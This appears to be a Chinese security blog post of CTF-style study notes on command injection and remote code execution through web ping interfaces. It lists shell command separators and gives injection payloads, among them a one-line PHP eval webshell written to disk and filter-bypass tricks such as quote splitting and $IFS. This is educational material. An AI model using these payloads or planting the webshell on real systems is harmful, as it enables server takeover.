命令注入
RCE 的知识点:
RCE英文全称:remote command/code execute(远程命令/代码执行漏洞);
RCE分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。
这里涉及到一个ping命令:
Ping是Windows、Unix和Linux系统下的一个命令。ping也属于一个通信协议,是TCP/IP协议的一部分。利用“ping”命令可以检查网络是否连通,可以很好地帮助我们分析和判定网络故障。
补充一些常用的管道符:
Windows系统支持的管道符如下:
- “|”:直接执行后面的语句。
- “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
- “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
- “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
Linux系统支持的管道符如下:
- “;”:执行完前面的语句再执行后面的语句。
- “|”:显示后面语句的执行结果。
- “||”:当前面的语句执行出错时,执行后面的语句。
- “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
- “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
例子
无过滤
ls查看当前目录
cat读取文件内容 或者 cat 324861195929839.php | base64 以base64加密读取
&echo -e “<?php @eval($_POST[‘test‘]);?>” > 555.php 写入文件名为555的php文件ma需要注意echo命令会调用$_POST导致原始文件中没有,因此需要改为echo -e
过滤cat
反斜杠 : 例如 ca\t fl\ag.php
连接符: 例如 ca’’t fla’’g.txt
过滤空格
可以用以下字符代替空格:
<,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS 等
&cat<flag.php
本文作者: Alone
本文链接: https://blog.nosecurity.cn/posts/18485.html
版权声明: 本博客所有文章除特别声明外,均为原创,采用 CC BY-SA 4.0 协议 ,转载请注明出处!